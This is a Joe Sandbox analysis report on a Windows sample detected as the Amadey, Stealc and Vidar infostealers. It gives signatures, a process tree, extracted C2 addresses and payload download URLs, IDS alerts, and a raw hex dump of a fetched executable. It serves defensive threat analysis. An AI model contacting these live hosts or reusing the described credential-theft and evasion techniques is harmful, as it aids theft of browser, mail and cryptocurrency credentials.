Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1559430
MD5:	1fb763b01e1ffa3ab02b53ce4b2a88fd
SHA1:	881d6869788ced3bb3be507abea78f569af3775e
SHA256:	f98936eaa24f4c5b0339ad375b53e45e505c9c65cef4480cff417157252f77b4
Tags:	exeuser-Bitsight
Infos:

Detection

Amadey, Stealc, Vidar

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Attempt to bypass Chrome Application-Bound Encryption

Detected unpacking (changes PE section rights)

Found malware configuration

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected Amadeys stealer DLL

Yara detected Powershell download and execute

Yara detected Stealc

Yara detected Vidar stealer

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Drops PE files to the document folder of the user

Drops PE files to the user root directory

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

Machine Learning detection for sample

Maps a DLL or memory area into another process

Monitors registry run keys for changes

PE file contains section with special chars

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal Bitcoin Wallet information

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

Tries to steal Mail credentials (via file / registry access)

Checks for debuggers (devices)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality for execution timing, often used to detect debuggers

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to dynamically determine API calls

Contains functionality to query CPU information (cpuid)

Contains functionality to read the PEB

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Creates job files (autostart)

Detected potential crypto function

Downloads executable code via HTTP

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Drops PE files to the user directory

Entry point lies outside standard sections

Extensive use of GetProcAddress (often used to hide API calls)

Found dropped PE file which has not been started or loaded

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries information about the installed CPU (vendor, model number etc)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Sigma detected: Browser Started with Remote Debugging

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

file.exe (PID: 380 cmdline: "C:\Users\user\Desktop\file.exe" MD5: 1FB763B01E1FFA3AB02B53CE4B2A88FD)

chrome.exe (PID: 424 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default" MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

chrome.exe (PID: 5000 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2456 --field-trial-handle=2172,i,16563569223138878126,8072281242689718067,262144 /prefetch:8 MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

msedge.exe (PID: 7880 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default" MD5: BF154738460E4AB1D388970E1AB13FAB)

msedge.exe (PID: 8100 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2512 --field-trial-handle=2356,i,896434487483437889,5900852296166254822,262144 /prefetch:3 MD5: BF154738460E4AB1D388970E1AB13FAB)

cmd.exe (PID: 2724 cmdline: "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsHIEHDHCFIJ.exe" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 4920 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

DocumentsHIEHDHCFIJ.exe (PID: 8700 cmdline: "C:\Users\user\DocumentsHIEHDHCFIJ.exe" MD5: 333366F899B1211C3259144ABEB6E7D0)

skotes.exe (PID: 9192 cmdline: "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe" MD5: 333366F899B1211C3259144ABEB6E7D0)

msedge.exe (PID: 8128 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory=Default --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate MD5: BF154738460E4AB1D388970E1AB13FAB)

msedge.exe (PID: 7744 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2040 --field-trial-handle=1944,i,15131678784192994985,8592159304647755750,262144 /prefetch:3 MD5: BF154738460E4AB1D388970E1AB13FAB)

msedge.exe (PID: 5040 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6524 --field-trial-handle=1944,i,15131678784192994985,8592159304647755750,262144 /prefetch:8 MD5: BF154738460E4AB1D388970E1AB13FAB)

msedge.exe (PID: 988 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=6796 --field-trial-handle=1944,i,15131678784192994985,8592159304647755750,262144 /prefetch:8 MD5: BF154738460E4AB1D388970E1AB13FAB)

identity_helper.exe (PID: 8352 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=7536 --field-trial-handle=1944,i,15131678784192994985,8592159304647755750,262144 /prefetch:8 MD5: F8CEC3E43A6305AC9BA3700131594306)

identity_helper.exe (PID: 8388 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=7536 --field-trial-handle=1944,i,15131678784192994985,8592159304647755750,262144 /prefetch:8 MD5: F8CEC3E43A6305AC9BA3700131594306)

msedge.exe (PID: 5840 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=6752 --field-trial-handle=1944,i,15131678784192994985,8592159304647755750,262144 /prefetch:8 MD5: BF154738460E4AB1D388970E1AB13FAB)

skotes.exe (PID: 8652 cmdline: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe MD5: 333366F899B1211C3259144ABEB6E7D0)

skotes.exe (PID: 8312 cmdline: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe MD5: 333366F899B1211C3259144ABEB6E7D0)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Amadey	Amadey is a botnet that appeared around October 2018 and is being sold for about $500 on Russian-speaking hacking forums. It periodically sends information about the system and installed AV software to its C2 server and polls to receive orders from it. Its main functionality is that it can load other payloads (called "tasks") for all or specifically targeted computers compromised by the malware.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://asec.ahnlab.com/en/36634/ https://asec.ahnlab.com/en/40483/ https://asec.ahnlab.com/en/41450/ https://asec.ahnlab.com/en/44504/	https://malpedia.caad.fkie.fraunhofer.de/details/win.amadey

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html https://g0njxa.medium.com/approaching-stealers-devs-a-brief-interview-with-stealc-cbe5c94b84af	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Name	Description	Attribution	Blogpost URLs	Link
Vidar	Vidar is a forked malware based on Arkei. It seems this stealer is one of the first that is grabbing information on 2FA Software and Tor Browser.	No Attribution	https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-1-(-Unpacking-)/ https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-2/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/vidar-stealer-h-and-m-campaign https://0xtoxin.github.io/malware%20analysis/Vidar-Stealer-Campaign/ https://asec.ahnlab.com/en/22932/	https://malpedia.caad.fkie.fraunhofer.de/details/win.vidar

Malware Configuration

Threatname: StealC

{"C2 url": "http://185.215.113.206/c4becf79229cb002.php"}

Threatname: Amadey

{"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000000.00000003.2179309523.00000000057A0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000002.2697626234.0000000001B9E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000001D.00000003.2738131826.0000000005180000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000001C.00000002.2776810229.00000000009F1000.00000040.00000001.01000000.0000000E.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000022.00000003.3327619249.00000000051C0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000022.00000002.3405500628.00000000009F1000.00000040.00000001.01000000.0000000E.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000001B.00000002.2737756534.00000000009F1000.00000040.00000001.01000000.0000000B.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000001C.00000003.2735013665.0000000004E80000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000000.00000002.2695816091.0000000000FE1000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000001D.00000002.2778829267.00000000009F1000.00000040.00000001.01000000.0000000E.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000001B.00000003.2690378661.00000000049F0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000000.00000002.2697626234.0000000001C15000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000002.2695816091.00000000010AC000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: file.exe PID: 380	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: file.exe PID: 380	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: file.exe PID: 380	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: file.exe PID: 380	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Click to see the 12 entries

Unpacked PEs

Source	Rule	Description	Author
34.2.skotes.exe.9f0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
29.2.skotes.exe.9f0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
28.2.skotes.exe.9f0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
27.2.DocumentsHIEHDHCFIJ.exe.9f0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security

Sigma Signatures

System Summary

Sigma detected: Browser Started with Remote Debugging

Source: Process started

Author: pH-T (Nextron Systems), Nasreddine Bencherchali (Nextron Systems): Data: Command: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default", CommandLine: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default", CommandLine|base64offset|contains: ^", Image: C:\Program Files\Google\Chrome\Application\chrome.exe, NewProcessName: C:\Program Files\Google\Chrome\Application\chrome.exe, OriginalFileName: C:\Program Files\Google\Chrome\Application\chrome.exe, ParentCommandLine: "C:\Users\user\Desktop\file.exe", ParentImage: C:\Users\user\Desktop\file.exe, ParentProcessId: 380, ParentProcessName: file.exe, ProcessCommandLine: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default", ProcessId: 424, ProcessName: chrome.exe

Suricata Signatures

ET MALWARE Win32/Stealc Active C2 Responding with browsers Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-20T14:43:11.648847+0100	2044245	1	Malware Command and Control Activity Detected	185.215.113.206	80	192.168.2.6	49715	TCP

ET MALWARE Win32/Stealc Requesting browsers Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-20T14:43:11.527560+0100	2044244	1	Malware Command and Control Activity Detected	192.168.2.6	49715	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc Requesting plugins Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-20T14:43:12.001759+0100	2044246	1	Malware Command and Control Activity Detected	192.168.2.6	49715	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc Submitting System Information to C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-20T14:43:13.664220+0100	2044248	1	Malware Command and Control Activity Detected	192.168.2.6	49715	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-20T14:43:12.123100+0100	2044247	1	Malware Command and Control Activity Detected	185.215.113.206	80	192.168.2.6	49715	TCP

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-20T14:43:11.056508+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.6	49715	185.215.113.206	80	TCP

ETPRO MALWARE Amadey CnC Activity M3

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-20T14:45:06.790568+0100	2856147	1	A Network Trojan was detected	192.168.2.6	50115	185.215.113.43	80	TCP

ETPRO MALWARE Amadey CnC Response M1

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-20T14:45:10.289917+0100	2856122	1	A Network Trojan was detected	185.215.113.43	80	192.168.2.6	50122	TCP

ETPRO MALWARE Common Downloader Header Pattern H

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-20T14:45:11.674672+0100	2803305	3	Unknown Traffic	192.168.2.6	50127	62.60.153.28	80	TCP

ETPRO MALWARE Common Downloader Header Pattern HCa

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-20T14:43:14.512360+0100	2803304	3	Unknown Traffic	192.168.2.6	49715	185.215.113.206	80	TCP
2024-11-20T14:43:38.471875+0100	2803304	3	Unknown Traffic	192.168.2.6	49800	185.215.113.206	80	TCP
2024-11-20T14:43:40.437158+0100	2803304	3	Unknown Traffic	192.168.2.6	49800	185.215.113.206	80	TCP
2024-11-20T14:43:41.870374+0100	2803304	3	Unknown Traffic	192.168.2.6	49800	185.215.113.206	80	TCP
2024-11-20T14:43:43.111948+0100	2803304	3	Unknown Traffic	192.168.2.6	49800	185.215.113.206	80	TCP
2024-11-20T14:43:46.782028+0100	2803304	3	Unknown Traffic	192.168.2.6	49800	185.215.113.206	80	TCP
2024-11-20T14:43:47.951939+0100	2803304	3	Unknown Traffic	192.168.2.6	49800	185.215.113.206	80	TCP
2024-11-20T14:43:53.673153+0100	2803304	3	Unknown Traffic	192.168.2.6	49939	185.215.113.16	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: file.exe

Avira: detected

Antivirus detection for URL or domain

Source: http://185.215.113.206/68b591d6548ec281/freebl3.dlld	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/68b591d6548ec281/nss3.dllJ	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/c4becf79229cb002.phpB	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/68b591d6548ec281/vcruntime140.dllM	Avira URL Cloud: Label: malware
Source: http://185.215.113.16/mine/random.exev	Avira URL Cloud: Label: phishing
Source: http://185.215.113.206/68b591d6548ec281/msvcp140.dll8	Avira URL Cloud: Label: malware

Found malware configuration

Source: 0000001D.00000003.2738131826.0000000005180000.00000004.00001000.00020000.00000000.sdmp	Malware Configuration Extractor: Amadey {"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}
Source: 00000000.00000002.2697626234.0000000001B9E000.00000004.00000020.00020000.00000000.sdmp	Malware Configuration Extractor: StealC {"C2 url": "http://185.215.113.206/c4becf79229cb002.php"}

Multi AV Scanner detection for submitted file

Source: file.exe

ReversingLabs: Detection: 34%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for sample

Source: file.exe

Joe Sandbox ML: detected

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C916C80 CryptQueryObject,CryptMsgGetParam,moz_xmalloc,memset,CryptMsgGetParam,CertFindCertificateInStore,free,CertGetNameStringW,moz_xmalloc,memset,CertGetNameStringW,CertFreeCertificateContext,CryptMsgClose,CertCloseStore,CreateFileW,moz_xmalloc,memset,memset,CryptQueryObject,free,CloseHandle,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,moz_xmalloc,memset,GetLastError,moz_xmalloc,memset,CryptBinaryToStringW,_wcsupr_s,free,GetLastError,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,__Init_thread_footer,__Init_thread_footer,

0_2_6C916C80

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 20.190.177.22:443 -> 192.168.2.6:49708 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.223.35.26:443 -> 192.168.2.6:49710 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.223.35.26:443 -> 192.168.2.6:49709 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.118.190:443 -> 192.168.2.6:49712 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.119.84:443 -> 192.168.2.6:49714 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.63:443 -> 192.168.2.6:49716 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.109.210.53:443 -> 192.168.2.6:49742 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.218.208.109:443 -> 192.168.2.6:49756 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.218.208.109:443 -> 192.168.2.6:49765 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.119.84:443 -> 192.168.2.6:49802 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.74.47.205:443 -> 192.168.2.6:49861 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.74.47.205:443 -> 192.168.2.6:49862 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.74.47.205:443 -> 192.168.2.6:49863 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 150.171.27.10:443 -> 192.168.2.6:49891 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 150.171.27.10:443 -> 192.168.2.6:49892 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 150.171.27.10:443 -> 192.168.2.6:49893 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 150.171.27.10:443 -> 192.168.2.6:49894 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.234.120.54:443 -> 192.168.2.6:49917 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.109.210.53:443 -> 192.168.2.6:49965 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.119.84:443 -> 192.168.2.6:49980 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.223.35.26:443 -> 192.168.2.6:49986 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 150.171.27.10:443 -> 192.168.2.6:49987 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 2.16.158.80:443 -> 192.168.2.6:49993 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.63:443 -> 192.168.2.6:49999 version: TLS 1.2

Source:	Binary string: mozglue.pdbP source: file.exe, 00000000.00000002.2747813947.000000006C97D000.00000002.00000001.01000000.0000000A.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: freebl3.pdb source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: freebl3.pdbp source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: nss3.pdb@ source: file.exe, 00000000.00000002.2748365117.000000006CB3F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: softokn3.pdb@ source: softokn3[1].dll.0.dr, softokn3.dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140.dll.0.dr, vcruntime140[1].dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: msvcp140[1].dll.0.dr, msvcp140.dll.0.dr
Source:	Binary string: nss3.pdb source: file.exe, 00000000.00000002.2748365117.000000006CB3F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: mozglue.pdb source: file.exe, 00000000.00000002.2747813947.000000006C97D000.00000002.00000001.01000000.0000000A.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: softokn3.pdb source: softokn3[1].dll.0.dr, softokn3.dll.0.dr

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior

Source: chrome.exe

Memory has grown: Private usage: 1MB later: 30MB

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.6:49715 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044244 - Severity 1 - ET MALWARE Win32/Stealc Requesting browsers Config from C2 : 192.168.2.6:49715 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044245 - Severity 1 - ET MALWARE Win32/Stealc Active C2 Responding with browsers Config : 185.215.113.206:80 -> 192.168.2.6:49715
Source: Network traffic	Suricata IDS: 2044246 - Severity 1 - ET MALWARE Win32/Stealc Requesting plugins Config from C2 : 192.168.2.6:49715 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044247 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config : 185.215.113.206:80 -> 192.168.2.6:49715
Source: Network traffic	Suricata IDS: 2044248 - Severity 1 - ET MALWARE Win32/Stealc Submitting System Information to C2 : 192.168.2.6:49715 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2856122 - Severity 1 - ETPRO MALWARE Amadey CnC Response M1 : 185.215.113.43:80 -> 192.168.2.6:50122
Source: Network traffic	Suricata IDS: 2856147 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M3 : 192.168.2.6:50115 -> 185.215.113.43:80

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: http://185.215.113.206/c4becf79229cb002.php
Source: Malware configuration extractor	IPs: 185.215.113.43

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Wed, 20 Nov 2024 13:43:14 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 11:30:30 GMTETag: "10e436-5e7ec6832a180"Accept-Ranges: bytesContent-Length: 1106998Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c 02 0d 00 d0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 84 25 0b 00 00 10 00 00 00 26 0b 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 50 60 2e 64 61 74 61 00 00 00 7c 27 00 00 00 40 0b 00 00 28 00 00 00 2c 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 c0 2e 72 64 61 74 61 